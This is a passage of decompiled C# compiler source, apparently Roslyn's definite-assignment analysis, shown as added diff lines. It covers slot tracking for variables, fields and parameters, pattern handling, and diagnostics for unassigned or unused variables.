//IL_010d: Unknown result type (might be due to invalid IL or missing references) + Symbol associatedSymbol = fieldSymbol.AssociatedSymbol; + bool flag = (object)associatedSymbol != null && (int)associatedSymbol.Kind == 15; + string text = (flag ? associatedSymbol.Name : fieldSymbol.Name); + Symbol currentSymbol = CurrentSymbol; + if (currentSymbol is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 1) + { + NamedTypeSymbol containingType = currentSymbol.ContainingType; + if ((object)containingType != null && (int)containingType.TypeKind == 10) + { + int orCreateSlot = GetOrCreateSlot(CurrentSymbol.EnclosingThisSymbol()); + LocalDataFlowPass.VariableIdentifier variableIdentifier; + while (true) + { + if (fieldSlot == 0) + { + base.Diagnostics.Add(flag ? ErrorCode.ERR_UseDefViolationProperty : ErrorCode.ERR_UseDefViolationField, node2.Location, text); + return; + } + variableIdentifier = variableBySlot[fieldSlot]; + int containingSlot = variableIdentifier.ContainingSlot; + if (containingSlot == orCreateSlot) + { + break; + } + fieldSlot = containingSlot; + } + AddImplicitlyInitializedField((FieldSymbol)variableIdentifier.Symbol); + if ((int)fieldSymbol.RefKind != 0) + { + if (!flag) + { + base.Diagnostics.Add(ErrorCode.WRN_UseDefViolationRefField, node2.Location, text); + } + } + else if (compilation.IsFeatureEnabled(MessageID.IDS_FeatureAutoDefaultStructs)) + { + base.Diagnostics.Add(flag ? ErrorCode.WRN_UseDefViolationPropertySupportedVersion : ErrorCode.WRN_UseDefViolationFieldSupportedVersion, node2.Location, text); + } + else + { + base.Diagnostics.Add(flag ? ErrorCode.ERR_UseDefViolationPropertyUnsupportedVersion : ErrorCode.ERR_UseDefViolationFieldUnsupportedVersion, node2.Location, text, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureAutoDefaultStructs.RequiredVersion())); + } + return; + } + } + base.Diagnostics.Add(flag ? ErrorCode.ERR_UseDefViolationProperty : ErrorCode.ERR_UseDefViolationField, node2.Location, text); + } + void addDiagnosticForStructThis(Symbol thisParameter, int thisSlot) + { + if (TrackImplicitlyInitializedFields) + { + bool flag = false; + NamedTypeSymbol containingType = thisParameter.ContainingType; + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(containingType)) + { + if (!_emptyStructTypeCache.IsEmptyStructType(structInstanceField.Type) && !(structInstanceField is TupleErrorFieldSymbol)) + { + int num = VariableSlot(structInstanceField, thisSlot); + if (num == -1 || !State.IsAssigned(num)) + { + AddImplicitlyInitializedField(structInstanceField); + flag = true; + } + } + } + if (!flag && containingType.HasInlineArrayAttribute(out var length) && length > 1) + { + FieldSymbol fieldSymbol = containingType.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + AddImplicitlyInitializedField(fieldSymbol); + flag = true; + } + } + } + if (compilation.IsFeatureEnabled(MessageID.IDS_FeatureAutoDefaultStructs)) + { + base.Diagnostics.Add(ErrorCode.WRN_UseDefViolationThisSupportedVersion, node2.Location); + } + else + { + base.Diagnostics.Add(ErrorCode.ERR_UseDefViolationThisUnsupportedVersion, node2.Location, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureAutoDefaultStructs.RequiredVersion())); + } + } + } + + protected virtual void CheckAssigned(BoundExpression expr, FieldSymbol fieldSymbol, SyntaxNode node) + { + if (State.Reachable && !IsAssigned(expr, out var unassignedSlot)) + { + ReportUnassignedIfNotCapturedInLocalFunction(fieldSymbol, node, unassignedSlot); + } + NoteRead(expr); + } + + private bool IsAssigned(BoundExpression node, out int unassignedSlot) + { + unassignedSlot = -1; + if (_emptyStructTypeCache.IsEmptyStructType(node.Type)) + { + return true; + } + switch (node.Kind) + { + case BoundKind.ThisReference: + if ((object)base.MethodThisParameter == null) + { + unassignedSlot = -1; + return true; + } + unassignedSlot = GetOrCreateSlot(base.MethodThisParameter); + break; + case BoundKind.Local: + unassignedSlot = GetOrCreateSlot(((BoundLocal)node).LocalSymbol); + break; + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)node; + if (!MayRequireTracking(boundFieldAccess.ReceiverOpt, boundFieldAccess.FieldSymbol) || IsAssigned(boundFieldAccess.ReceiverOpt, out unassignedSlot)) + { + return true; + } + unassignedSlot = GetOrCreateSlot(boundFieldAccess.FieldSymbol, unassignedSlot); + break; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)node; + if (!MayRequireTracking(boundEventAccess.ReceiverOpt, boundEventAccess.EventSymbol.AssociatedField) || IsAssigned(boundEventAccess.ReceiverOpt, out unassignedSlot)) + { + return true; + } + unassignedSlot = GetOrCreateSlot(boundEventAccess.EventSymbol.AssociatedField, unassignedSlot); + break; + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)node; + return IsAssigned(boundInlineArrayAccess.Expression, out unassignedSlot); + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node; + if (Binder.AccessingAutoPropertyFromConstructor(boundPropertyAccess, CurrentSymbol)) + { + SynthesizedBackingFieldSymbol synthesizedBackingFieldSymbol = (boundPropertyAccess.PropertySymbol as SourcePropertySymbolBase)?.BackingField; + if (synthesizedBackingFieldSymbol != null) + { + if (!MayRequireTracking(boundPropertyAccess.ReceiverOpt, synthesizedBackingFieldSymbol) || IsAssigned(boundPropertyAccess.ReceiverOpt, out unassignedSlot)) + { + return true; + } + unassignedSlot = GetOrCreateSlot(synthesizedBackingFieldSymbol, unassignedSlot); + break; + } + } + goto default; + } + case BoundKind.Parameter: + { + BoundParameter boundParameter = (BoundParameter)node; + unassignedSlot = GetOrCreateSlot(boundParameter.ParameterSymbol); + break; + } + default: + unassignedSlot = -1; + return true; + } + if (unassignedSlot > 0) + { + return State.IsAssigned(unassignedSlot); + } + return true; + } + + private Symbol UseNonFieldSymbolUnsafely(BoundExpression expression) + { + while (expression != null) + { + BoundFieldAccess boundFieldAccess; + switch (expression.Kind) + { + case BoundKind.FieldAccess: + { + boundFieldAccess = (BoundFieldAccess)expression; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if ((object)_sourceAssembly != null) + { + _sourceAssembly.NoteFieldAccess(fieldSymbol, read: true, write: true); + } + if (fieldSymbol.ContainingType.IsReferenceType || fieldSymbol.IsStatic) + { + return null; + } + break; + } + case BoundKind.Local: + { + LocalSymbol localSymbol = ((BoundLocal)expression).LocalSymbol; + ((HashSet)(object)_usedVariables).Add(localSymbol); + return localSymbol; + } + case BoundKind.RangeVariable: + return ((BoundRangeVariable)expression).RangeVariableSymbol; + case BoundKind.Parameter: + return ((BoundParameter)expression).ParameterSymbol; + case BoundKind.ThisReference: + return base.MethodThisParameter; + case BoundKind.BaseReference: + return base.MethodThisParameter; + default: + return null; + } + expression = boundFieldAccess.ReceiverOpt; + } + return null; + } + + protected void Assign(BoundNode node, BoundExpression value, bool isRef = false, bool read = true) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + if (!isRef && node is BoundFieldAccess boundFieldAccess) + { + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if ((object)fieldSymbol != null && (int)fieldSymbol.RefKind != 0) + { + CheckAssigned(boundFieldAccess, node.Syntax); + } + } + AssignImpl(node, value, isRef, written: true, read); + } + + protected virtual void AssignImpl(BoundNode node, BoundExpression value, bool isRef, bool written, bool read) + { + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_0276: Unknown result type (might be due to invalid IL or missing references) + //IL_027c: Invalid comparison between Unknown and I4 + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Invalid comparison between Unknown and I4 + BoundInlineArrayAccess boundInlineArrayAccess; + switch (node.Kind) + { + case BoundKind.DeclarationPattern: + case BoundKind.RecursivePattern: + case BoundKind.ListPattern: + { + BoundObjectPattern boundObjectPattern = (BoundObjectPattern)node; + if (boundObjectPattern.Variable is LocalSymbol symbol) + { + int orCreateSlot = GetOrCreateSlot(symbol); + SetSlotState(orCreateSlot, written || !State.Reachable); + } + if (written) + { + NoteWrite(boundObjectPattern.VariableAccess, value, read); + } + break; + } + case BoundKind.LocalDeclaration: + { + LocalSymbol localSymbol = ((BoundLocalDeclaration)node).LocalSymbol; + int orCreateSlot2 = GetOrCreateSlot(localSymbol); + SetSlotState(orCreateSlot2, written || !State.Reachable); + if (written) + { + NoteWrite(localSymbol, value, read); + } + break; + } + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)node; + if ((int)boundLocal.LocalSymbol.RefKind != 0 && !isRef) + { + if (written) + { + VisitRvalue(boundLocal, isKnownToBeAnLvalue: true); + } + break; + } + int slot = MakeSlot(boundLocal); + SetSlotState(slot, written); + if (written) + { + NoteWrite(boundLocal, value, read); + } + break; + } + case BoundKind.InlineArrayAccess: + { + boundInlineArrayAccess = (BoundInlineArrayAccess)node; + if (written) + { + NoteWrite(boundInlineArrayAccess.Expression, null, read); + } + if (boundInlineArrayAccess.Expression.Type.HasInlineArrayAttribute(out var length)) + { + ConstantValue constantValueOpt = boundInlineArrayAccess.Argument.ConstantValueOpt; + if (constantValueOpt == null || (int)constantValueOpt.SpecialType != 13 || constantValueOpt.Int32Value != 0) + { + SyntaxNode location; + int? num = Binder.InferConstantIndexFromSystemIndex(compilation, boundInlineArrayAccess.Argument, length, out location); + if ((num ?? 1) != 0) + { + goto IL_022c; + } + } + int num2 = MakeMemberSlot(boundInlineArrayAccess.Expression, boundInlineArrayAccess.Expression.Type.TryGetInlineArrayElementField()); + if (num2 > 0) + { + SetSlotState(num2, written); + break; + } + } + goto IL_022c; + } + case BoundKind.Parameter: + { + BoundParameter boundParameter = (BoundParameter)node; + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + if (isRef && (int)parameterSymbol.RefKind == 2) + { + LeaveParameter(parameterSymbol, node.Syntax, boundParameter.Syntax.Location); + } + int slot4 = MakeSlot(boundParameter); + SetSlotState(slot4, written); + if (written) + { + NoteWrite(boundParameter, value, read); + } + break; + } + case BoundKind.ThisReference: + case BoundKind.FieldAccess: + case BoundKind.PropertyAccess: + case BoundKind.EventAccess: + { + BoundExpression boundExpression = (BoundExpression)node; + int slot3 = MakeSlot(boundExpression); + SetSlotState(slot3, written); + if (written) + { + NoteWrite(boundExpression, value, read); + } + break; + } + case BoundKind.RangeVariable: + AssignImpl(((BoundRangeVariable)node).Value, value, isRef, written, read); + break; + case BoundKind.BadExpression: + { + BoundBadExpression boundBadExpression = (BoundBadExpression)node; + if (!boundBadExpression.ChildBoundNodes.IsDefault && boundBadExpression.ChildBoundNodes.Length == 1) + { + AssignImpl(boundBadExpression.ChildBoundNodes[0], value, isRef, written, read); + } + break; + } + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + { + ((BoundTupleExpression)node).VisitAllElements(delegate(BoundExpression x, (DefiniteAssignmentPass self, bool isRef) arg) + { + arg.self.Assign(x, null, arg.isRef); + }, (this, isRef)); + break; + } + IL_022c: + if (!written) + { + AssignImpl(boundInlineArrayAccess.Expression, null, isRef, written, read); + int slot2 = MakeSlot(boundInlineArrayAccess.Expression); + SetSlotState(slot2, written); + } + break; + } + } + + private bool FieldsAllSet(int containingSlot, LocalState state) + { + TypeSymbol type = variableBySlot[containingSlot].Symbol.GetTypeOrReturnType().Type; + if (type.HasInlineArrayAttribute(out var length) && length > 1 && (object)type.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField() != null) + { + return false; + } + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + if (!_emptyStructTypeCache.IsEmptyStructType(structInstanceField.Type) && !(structInstanceField is TupleErrorFieldSymbol)) + { + int num = VariableSlot(structInstanceField, containingSlot); + if (num == -1 || !state.IsAssigned(num)) + { + return false; + } + } + } + return true; + } + + protected void SetSlotState(int slot, bool assigned) + { + if (slot > 0) + { + if (assigned) + { + SetSlotAssigned(slot); + } + else + { + SetSlotUnassigned(slot); + } + } + } + + protected void SetSlotAssigned(int slot, ref LocalState state) + { + if (slot < 0) + { + return; + } + LocalDataFlowPass.VariableIdentifier variableIdentifier = variableBySlot[slot]; + TypeSymbol type = variableIdentifier.Symbol.GetTypeOrReturnType().Type; + if (slot >= ((BitVector)(ref state.Assigned)).Capacity) + { + Normalize(ref state); + } + if (state.IsAssigned(slot)) + { + return; + } + state.Assign(slot); + if (EmptyStructTypeCache.IsTrackableStructType(type)) + { + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + int num = VariableSlot(structInstanceField, slot); + if (num > 0) + { + SetSlotAssigned(num, ref state); + } + } + } + while (variableIdentifier.ContainingSlot > 0) + { + slot = variableIdentifier.ContainingSlot; + if (!state.IsAssigned(slot) && FieldsAllSet(slot, state)) + { + state.Assign(slot); + variableIdentifier = variableBySlot[slot]; + continue; + } + break; + } + } + + private void SetSlotAssigned(int slot) + { + SetSlotAssigned(slot, ref State); + } + + private void SetSlotUnassigned(int slot, ref LocalState state) + { + if (slot < 0) + { + return; + } + LocalDataFlowPass.VariableIdentifier variableIdentifier = variableBySlot[slot]; + TypeSymbol type = variableIdentifier.Symbol.GetTypeOrReturnType().Type; + if (!state.IsAssigned(slot)) + { + return; + } + state.Unassign(slot); + if (EmptyStructTypeCache.IsTrackableStructType(type)) + { + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + int num = VariableSlot(structInstanceField, slot); + if (num > 0) + { + SetSlotUnassigned(num, ref state); + } + } + } + while (variableIdentifier.ContainingSlot > 0) + { + slot = variableIdentifier.ContainingSlot; + state.Unassign(slot); + variableIdentifier = variableBySlot[slot]; + } + } + + private void SetSlotUnassigned(int slot) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (NonMonotonicState.HasValue) + { + LocalState state = NonMonotonicState.Value; + SetSlotUnassigned(slot, ref state); + NonMonotonicState = Optional.op_Implicit(state); + } + SetSlotUnassigned(slot, ref State); + } + + protected override LocalState TopState() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Invalid comparison between Unknown and I4 + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Invalid comparison between Unknown and I4 + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Invalid comparison between Unknown and I4 + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Invalid comparison between Unknown and I4 + LocalState state = new LocalState(BitVector.Empty); + Symbol symbol = CurrentSymbol; + while (true) + { + SymbolKind? val = symbol?.Kind; + bool flag; + if (val.HasValue) + { + SymbolKind valueOrDefault = val.GetValueOrDefault(); + if ((int)valueOrDefault == 6 || (int)valueOrDefault == 9 || (int)valueOrDefault == 15) + { + flag = true; + goto IL_0172; + } + } + flag = false; + goto IL_0172; + IL_0172: + if (!flag) + { + break; + } + if ((object)symbol != CurrentSymbol && symbol is MethodSymbol { Parameters: var parameters } methodSymbol) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot > 0) + { + SetSlotAssigned(orCreateSlot, ref state); + } + } + if (methodSymbol.TryGetThisParameter(out var thisParameter) && (object)thisParameter != null) + { + int orCreateSlot2 = GetOrCreateSlot(thisParameter); + if (orCreateSlot2 > 0) + { + SetSlotAssigned(orCreateSlot2, ref state); + } + } + } + Symbol containingSymbol = symbol.ContainingSymbol; + if (!symbol.IsStatic && containingSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && (object)symbol != primaryConstructor) + { + ImmutableArray.Enumerator enumerator = primaryConstructor.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current2 = enumerator.Current; + int orCreateSlot3 = GetOrCreateSlot(current2); + if (orCreateSlot3 > 0) + { + if (!(symbol is MethodSymbol) && (int)current2.RefKind == 2) + { + SetSlotUnassigned(orCreateSlot3, ref state); + } + else + { + SetSlotAssigned(orCreateSlot3, ref state); + } + } + } + break; + } + } + symbol = containingSymbol; + } + return state; + } + + protected override LocalState ReachableBottomState() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + LocalState result = new LocalState(BitVector.AllSet(variableBySlot.Count)); + ((BitVector)(ref result.Assigned))[0] = false; + return result; + } + + protected override void EnterParameter(ParameterSymbol parameter) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + int orCreateSlot = GetOrCreateSlot(parameter); + if ((int)parameter.RefKind == 2 && !(CurrentSymbol is MethodSymbol { IsAsync: not false })) + { + if (orCreateSlot > 0) + { + SetSlotState(orCreateSlot, initiallyAssignedVariables?.Contains(parameter) ?? false); + } + } + else + { + if (orCreateSlot > 0) + { + SetSlotState(orCreateSlot, assigned: true); + } + NoteWrite(parameter, null, read: true); + } + SourceComplexParameterSymbolBase sourceComplexParameterSymbolBase = parameter as SourceComplexParameterSymbolBase; + bool flag; + if ((object)sourceComplexParameterSymbolBase != null) + { + Symbol containingSymbol = sourceComplexParameterSymbolBase.ContainingSymbol; + if (containingSymbol is LocalFunctionSymbol || containingSymbol is LambdaSymbol) + { + flag = true; + goto IL_0089; + } + } + flag = false; + goto IL_0089; + IL_0089: + if (flag) + { + VisitAttributes(sourceComplexParameterSymbolBase.BindParameterAttributes()); + BoundParameterEqualsValue boundParameterEqualsValue = sourceComplexParameterSymbolBase.BindParameterEqualsValue(); + if (boundParameterEqualsValue != null) + { + VisitRvalue(boundParameterEqualsValue.Value); + } + } + } + + private void VisitAttributes(ImmutableArray<(CSharpAttributeData, BoundAttribute)> boundAttributes) + { + if (boundAttributes.IsDefaultOrEmpty) + { + return; + } + ImmutableArray<(CSharpAttributeData, BoundAttribute)>.Enumerator enumerator = boundAttributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (cSharpAttributeData, boundAttribute) = enumerator.Current; + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + ImmutableArray.Enumerator enumerator2 = boundAttribute.ConstructorArguments.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundExpression current = enumerator2.Current; + VisitRvalue(current); + } + ImmutableArray.Enumerator enumerator3 = boundAttribute.NamedArguments.GetEnumerator(); + while (enumerator3.MoveNext()) + { + BoundAssignmentOperator current2 = enumerator3.Current; + VisitRvalue(current2.Right); + } + } + } + } + + protected override void LeaveParameters(ImmutableArray parameters, SyntaxNode syntax, Location location) + { + if (State.Reachable) + { + base.LeaveParameters(parameters, syntax, location); + } + } + + protected override void LeaveParameter(ParameterSymbol parameter, SyntaxNode syntax, Location location) + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if (!parameter.IsThis && (int)parameter.RefKind != 2 && parameter.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) + { + PooledHashSet? readParameters = _readParameters; + if ((readParameters == null || !((HashSet)(object)readParameters).Contains(parameter)) && !synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameter)) + { + DiagnosticBag diagnostics = base.Diagnostics; + SourceMemberContainerTypeSymbol containingType = synthesizedPrimaryConstructor.ContainingType; + bool flag = (((object)containingType != null && (containingType.IsRecord || containingType.IsRecordStruct)) ? true : false); + diagnostics.Add(flag ? ErrorCode.WRN_UnreadRecordParameter : ErrorCode.WRN_UnreadPrimaryConstructorParameter, parameter.GetFirstLocationOrNone(), parameter.Name); + } + } + if ((int)parameter.RefKind != 0) + { + int num = VariableSlot(parameter); + if (num > 0 && !State.IsAssigned(num)) + { + ReportUnassignedOutParameter(parameter, syntax, location); + } + NoteRead(parameter); + } + } + + protected override LocalState UnreachableState() + { + LocalState result = State.Clone(); + ((BitVector)(ref result.Assigned)).EnsureCapacity(1); + result.Assign(0); + return result; + } + + public override void VisitPattern(BoundPattern pattern) + { + base.VisitPattern(pattern); + LocalState stateWhenFalse = StateWhenFalse; + SetState(StateWhenTrue); + assignPatternVariablesAndMarkReadFields(pattern); + SetConditionalState(State, stateWhenFalse); + void assignPatternVariablesAndMarkReadFields(BoundPattern boundPattern, bool definitely = true) + { + switch (boundPattern.Kind) + { + case BoundKind.DeclarationPattern: + { + BoundDeclarationPattern node = (BoundDeclarationPattern)boundPattern; + if (definitely) + { + Assign(node, null, isRef: false, read: false); + } + break; + } + case BoundKind.SlicePattern: + { + BoundSlicePattern boundSlicePattern = (BoundSlicePattern)boundPattern; + if (boundSlicePattern.Pattern != null) + { + assignPatternVariablesAndMarkReadFields(boundSlicePattern.Pattern, definitely); + } + break; + } + case BoundKind.ConstantPattern: + { + BoundConstantPattern boundConstantPattern = (BoundConstantPattern)boundPattern; + VisitRvalue(boundConstantPattern.Value); + break; + } + case BoundKind.RecursivePattern: + { + BoundRecursivePattern boundRecursivePattern = (BoundRecursivePattern)boundPattern; + if (!boundRecursivePattern.Deconstruction.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = boundRecursivePattern.Deconstruction.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPositionalSubpattern current3 = enumerator.Current; + assignPatternVariablesAndMarkReadFields(current3.Pattern, definitely); + } + } + if (!boundRecursivePattern.Properties.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator3 = boundRecursivePattern.Properties.GetEnumerator(); + while (enumerator3.MoveNext()) + { + BoundPropertySubpattern current4 = enumerator3.Current; + if ((object)_sourceAssembly != null) + { + for (BoundPropertySubpatternMember boundPropertySubpatternMember = current4.Member; boundPropertySubpatternMember != null; boundPropertySubpatternMember = boundPropertySubpatternMember.Receiver) + { + if (boundPropertySubpatternMember.Symbol is FieldSymbol field) + { + _sourceAssembly.NoteFieldAccess(field, read: true, write: false); + } + } + } + assignPatternVariablesAndMarkReadFields(current4.Pattern, definitely); + } + } + if (definitely) + { + Assign(boundRecursivePattern, null, isRef: false, read: false); + } + break; + } + case BoundKind.ITuplePattern: + { + ImmutableArray.Enumerator enumerator = ((BoundITuplePattern)boundPattern).Subpatterns.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPositionalSubpattern current = enumerator.Current; + assignPatternVariablesAndMarkReadFields(current.Pattern, definitely); + } + break; + } + case BoundKind.ListPattern: + { + BoundListPattern boundListPattern = (BoundListPattern)boundPattern; + ImmutableArray.Enumerator enumerator2 = boundListPattern.Subpatterns.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundPattern current2 = enumerator2.Current; + assignPatternVariablesAndMarkReadFields(current2, definitely); + } + if (definitely) + { + Assign(boundListPattern, null, isRef: false, read: false); + } + break; + } + case BoundKind.RelationalPattern: + { + BoundRelationalPattern boundRelationalPattern = (BoundRelationalPattern)boundPattern; + VisitRvalue(boundRelationalPattern.Value); + break; + } + case BoundKind.NegatedPattern: + { + BoundNegatedPattern boundNegatedPattern = (BoundNegatedPattern)boundPattern; + assignPatternVariablesAndMarkReadFields(boundNegatedPattern.Negated, definitely: false); + break; + } + case BoundKind.BinaryPattern: + { + BoundBinaryPattern boundBinaryPattern = (BoundBinaryPattern)boundPattern; + bool definitely2 = definitely && !boundBinaryPattern.Disjunction; + assignPatternVariablesAndMarkReadFields(boundBinaryPattern.Left, definitely2); + assignPatternVariablesAndMarkReadFields(boundBinaryPattern.Right, definitely2); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundPattern.Kind); + case BoundKind.DiscardPattern: + case BoundKind.TypePattern: + break; + } + } + } + + public override BoundNode VisitBlock(BoundBlock node) + { + if (node.Instrumentation != null) + { + DeclareVariable(node.Instrumentation.Local); + Visit(node.Instrumentation.Prologue); + } + DeclareVariables(node.Locals); + VisitStatementsWithLocalFunctions(node); + ImmutableArray.Enumerator enumerator = node.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (current.IsUsing) + { + NoteRead(current); + } + } + ReportUnusedVariables(node.Locals); + ReportUnusedVariables(node.LocalFunctions); + if (node.Instrumentation != null) + { + Visit(node.Instrumentation.Epilogue); + } + return null; + } + + private void VisitStatementsWithLocalFunctions(BoundBlock block) + { + if (!TrackingRegions && !block.LocalFunctions.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + if (current is BoundLocalFunctionStatement boundLocalFunctionStatement) + { + VisitAttributes(boundLocalFunctionStatement.Symbol.BindMethodAttributes()); + VisitAlways(current); + } + } + enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current2 = enumerator.Current; + if (current2.Kind != BoundKind.LocalFunctionStatement) + { + VisitStatement(current2); + } + } + } + else + { + ImmutableArray.Enumerator enumerator = block.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current3 = enumerator.Current; + VisitStatement(current3); + } + } + } + + public override BoundNode VisitSwitchStatement(BoundSwitchStatement node) + { + DeclareVariables(node.InnerLocals); + BoundNode result = base.VisitSwitchStatement(node); + ReportUnusedVariables(node.InnerLocals); + ReportUnusedVariables(node.InnerLocalFunctions); + return result; + } + + protected override void VisitSwitchSection(BoundSwitchSection node, bool isLastSection) + { + DeclareVariables(node.Locals); + base.VisitSwitchSection(node, isLastSection); + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + DeclareVariables(node.OuterLocals); + DeclareVariables(node.InnerLocals); + BoundNode result = base.VisitForStatement(node); + ReportUnusedVariables(node.InnerLocals); + ReportUnusedVariables(node.OuterLocals); + return result; + } + + public override BoundNode VisitDoStatement(BoundDoStatement node) + { + DeclareVariables(node.Locals); + BoundNode result = base.VisitDoStatement(node); + ReportUnusedVariables(node.Locals); + return result; + } + + public override BoundNode VisitWhileStatement(BoundWhileStatement node) + { + DeclareVariables(node.Locals); + BoundNode result = base.VisitWhileStatement(node); + ReportUnusedVariables(node.Locals); + return result; + } + + public override BoundNode VisitUsingStatement(BoundUsingStatement node) + { + ImmutableArray locals = node.Locals; + DeclareVariables(locals); + BoundNode result = base.VisitUsingStatement(node); + if (!locals.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (current.DeclarationKind == LocalDeclarationKind.UsingVariable) + { + NoteRead(current); + } + } + } + return result; + } + + public override BoundNode VisitFixedStatement(BoundFixedStatement node) + { + DeclareVariables(node.Locals); + return base.VisitFixedStatement(node); + } + + public override BoundNode VisitSequence(BoundSequence node) + { + DeclareVariables(node.Locals); + BoundNode result = base.VisitSequence(node); + ReportUnusedVariables(node.Locals); + return result; + } + + private void DeclareVariables(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + DeclareVariable(current); + } + } + + private void DeclareVariable(LocalSymbol symbol) + { + bool assigned = symbol.IsConst || (initiallyAssignedVariables?.Contains(symbol) ?? false); + SetSlotState(GetOrCreateSlot(symbol), assigned); + } + + private void ReportUnusedVariables(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + ReportIfUnused(current, assigned: true); + } + } + + private void ReportIfUnused(LocalSymbol symbol, bool assigned) + { + if (!((HashSet)(object)_usedVariables).Contains(symbol) && symbol.DeclarationKind != LocalDeclarationKind.PatternVariable && !string.IsNullOrEmpty(symbol.Name)) + { + base.Diagnostics.Add((assigned && ((HashSet)(object)_writtenVariables).Contains((Symbol)symbol)) ? ErrorCode.WRN_UnreferencedVarAssg : ErrorCode.WRN_UnreferencedVar, symbol.GetFirstLocationOrNone(), symbol.Name); + } + } + + private void ReportUnusedVariables(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalFunctionSymbol current = enumerator.Current; + ReportIfUnused(current); + } + } + + private void ReportIfUnused(LocalFunctionSymbol symbol) + { + if (!((HashSet)(object)_usedLocalFunctions).Contains(symbol) && !string.IsNullOrEmpty(symbol.Name)) + { + base.Diagnostics.Add(ErrorCode.WRN_UnreferencedLocalFunction, symbol.GetFirstLocationOrNone(), symbol.Name); + } + } + + public override BoundNode VisitLocal(BoundLocal node) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Invalid comparison between Unknown and I4 + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + LocalSymbol localSymbol = node.LocalSymbol; + SourceLocalSymbol obj = localSymbol as SourceLocalSymbol; + if ((object)obj != null && obj.IsVar) + { + SyntaxNode forbiddenZone = localSymbol.ForbiddenZone; + if (forbiddenZone != null && forbiddenZone.Contains(node.Syntax)) + { + int orCreateSlot = GetOrCreateSlot(node.LocalSymbol); + if (orCreateSlot > 0) + { + ((BitVector)(ref _alreadyReported))[orCreateSlot] = true; + } + } + } + CheckAssigned(localSymbol, node.Syntax); + if (localSymbol.IsFixed && CurrentSymbol is MethodSymbol methodSymbol && 